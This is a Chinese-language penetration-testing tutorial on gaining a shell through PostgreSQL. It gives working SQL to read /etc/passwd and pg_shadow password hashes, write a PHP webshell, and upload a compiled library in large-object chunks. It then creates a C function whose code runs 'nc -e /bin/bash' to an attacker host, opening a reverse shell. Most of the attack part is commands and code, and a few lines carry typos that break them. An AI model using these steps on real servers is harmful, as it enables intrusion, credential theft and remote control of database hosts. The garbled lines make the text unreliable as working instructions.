渗透中利用postgresql getshell

  • A+
所属分类:安全文章

from:http://www.jianfensec.com/postgresql_getshell.html

0x00 前言

研究postgresql数据库如何getshell是在渗透中遇到一个pgAdmin的web管理页面可以直接操作postgresql且通过网上的文章没有达到9.6版本getshell的效果所以便有了以下文章。解决新版本写入函数so文件创建函数失败问题.

0x01 postgresql测试环境搭建

安装过程: devel库一定要安装后面用来编译后面需要扩展库postgres.h

yum install postgresql96-server postgresql96-contrib postgresql-devel  
postgresql-libs

postgresql默认不支持用root启动所以需要建立用户:

useradd postgres
passwd postgres

然后需要建立一个data目录并给postgres用户为所有者权限

mkdir /usr/pgsql-9.6/data
chown -R postgres /usr/pgsql-9.6/data

然后在

/usr/pgsql-9.6/bin/initdb 初始数据库(必须做)

启动数据库

/usr/pgsql-9.6/bin/pg_ctl -D /usr/pgsql-9.6/data -l logfile start

关闭数据库

/usr/pgsql-9.6/bin/pg_ctl stop

进入数据库命令行界面

psql -d template1

创建数据库

CREATE DATABASE postgre;

查看密码 密码=MD5(user+password)

SELECT usename, passwd FROM pg_shadow;

0x02 读写文件

因为和mysql一样利用UDF进行提权所以需要上传文件

1.读文件

1.1 创建数据表把读到的文件copy入表:
drop table wooyun;
CREATE
TABLE wooyun(t TEXT);
COPY wooyun FROM '/etc/passwd';
SELECT * FROM wooyun limit 1 offset 0;
1.2 利用postgresql大对象处理来读文件:
Select lo_import('/etc/passwd',12345678);
select array_agg(b)::text::int from(select encode(data,'hex')b,pageno
from pg_largeobject where loid=12345678 order by pageno)a

2.写文件

2.1 普通文件写入(webshell):
COPY (select '<?php phpinfo();?>') to '/tmp/1.php';
2.2 二进制文件写入(利用大数据对象):

这里需要分片进行上传就是将文件分成小于等于2KB大小的hex再进行上传,但是在9.6版本中(我测试的版本)必须切割等于2KB的数据上传才会成功,具体到命令执行处详细说明.

ERROR:  pg_largeobject entry for OID 2008, page 0 has invalid data field size 2378

首先创建一个OID作为写入的对象,然后通过0,1,2,3...分片上传但是对象都为12345最后导出到/tmp目录下,收尾删除OID

SELECT lo_create(12345);
INSERT
INTO pg_largeobject VALUES (12345, 0, decode('7f454c4...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 1, decode('0000000...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 2, decode('f604000...0000', 'hex'));
INSERT
INTO pg_largeobject VALUES (12345, 3, decode('0000000...7400', 'hex'));
SELECT
lo_export(12345, '/tmp/test.so');SELECT lo_unlink(12345);

0x03 命令执行

1.1 低版本的命令执行

可以直接调用/lib/libc.so.6或者是/lib64/libc.so.6

一般8.2以下的版本可以

CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' 
LANGUAGE C STRICT;
CREATE FUNCTION system(cstring) RcETURNS int AS '/lib64/libc.so.6', 'system'
LANGUAGE C STRICT;

直接可以执行

select system('id');
1.2 高版本的命令执行

当postgresql版本高于8.2存在安全机制无法调用系统libc.so.6所以需要自己利用UDF进行命令执行

ERROR:  incompatible library "xxx.so": missing magic block HINT:  Extension libraries are required to use the PG_MODULE_MAGIC macro.

第一步可以先查看postgresql支持的扩展语言:

select * from pg_language;

如果支持python perl就很简单和低版本一样直接创建调用详情可参考以下文章:
http://static.hx99.net/static/drops/tips-6449.html

当不存在其他扩展语言时,postgresql默认支持C,所以要自己传一个编译好的so库去创建可执行命令函数.这里可以使用简短的反弹shell后门

编译反弹shell后门

#include "postgres.h"
#include "fmgr.h"
#include <stdlib.h>
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
text *exec(){    system("nc -e /bin/bash vpsIPaddress 2333");
}

编译环境见文章头部这个需要在/usr/pgsql-9.6/include/server/目录下执行应为存在postgres.h头部调用的库

gcc hack.c -I`pg_config --includedir-server` -fPIC -shared -o udf.so strip -sx udf.so #缩减so文件大小

将文件hex后去除n

cat udf.so | xxd -ps | tr -d "n" 

接下来我们需要将udf.so文件分割成每2048字节的块,最后一个块的大小不满足2048字节不需要考虑.
为什么不能小于2048?是因为在postgresql高版本处理中,如果块之间小于2048,默认会用0去填充让块达到2048字节所以上传的文件才会一直创建函数失败.

用python脚本去分割udf.so文件

#~/usr/bin/env python 2.7
#-*- coding:utf-8 -*-

import
sys
if
__name__ == "__main__":    if len(sys.argv) != 2:        print "Usage:python " + sys.argv[0] + "inputfile"        sys.exit()    fileobj = open(sys.argv[1],'rb')    i = 0    for b in fileobj.read():        sys.stdout.write(r'{:02x}'.format(ord(b)))        i = i + 1        if i % 2048 == 0:            print "n"    fileobj.close()

接下来我们根据写文件去写入再创建函数就可以反弹shell成功

CREATE OR REPLACE FUNCTION exec()  RETURNS text AS  '/tmp/1.so', 'exec' 
LANGUAGE C STRICT;
select
exec();

如果在内网无法反弹可以使用sqlmap作者关于udfhack的so文件已经写好了在github直接下载编译即可,编译方法同上.
https://github.com/sqlmapproject/udfhack/tree/master/linux/64/lib_postgresqludf_sys

这里我直接给出hex分片过sql语句直接写入即可创建成功

链接:https://pan.baidu.com/s/1i6gEgAT 密码:b061

0x04 参考资料

http://www.91ri.org/6507.html

http://static.hx99.net/static/drops/tips-6449.html

http://www.voidcn.com/article/p-sunyuemo-nw.html

https://www.jianshu.com/p/ba0297da2c2e

http://www.postgres.cn/docs/9.4/catalog-pg-largeobject.html

https://github.com/sqlmapproject/udfhack/


本文始发于微信公众号(关注安全技术):渗透中利用postgresql getshell

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: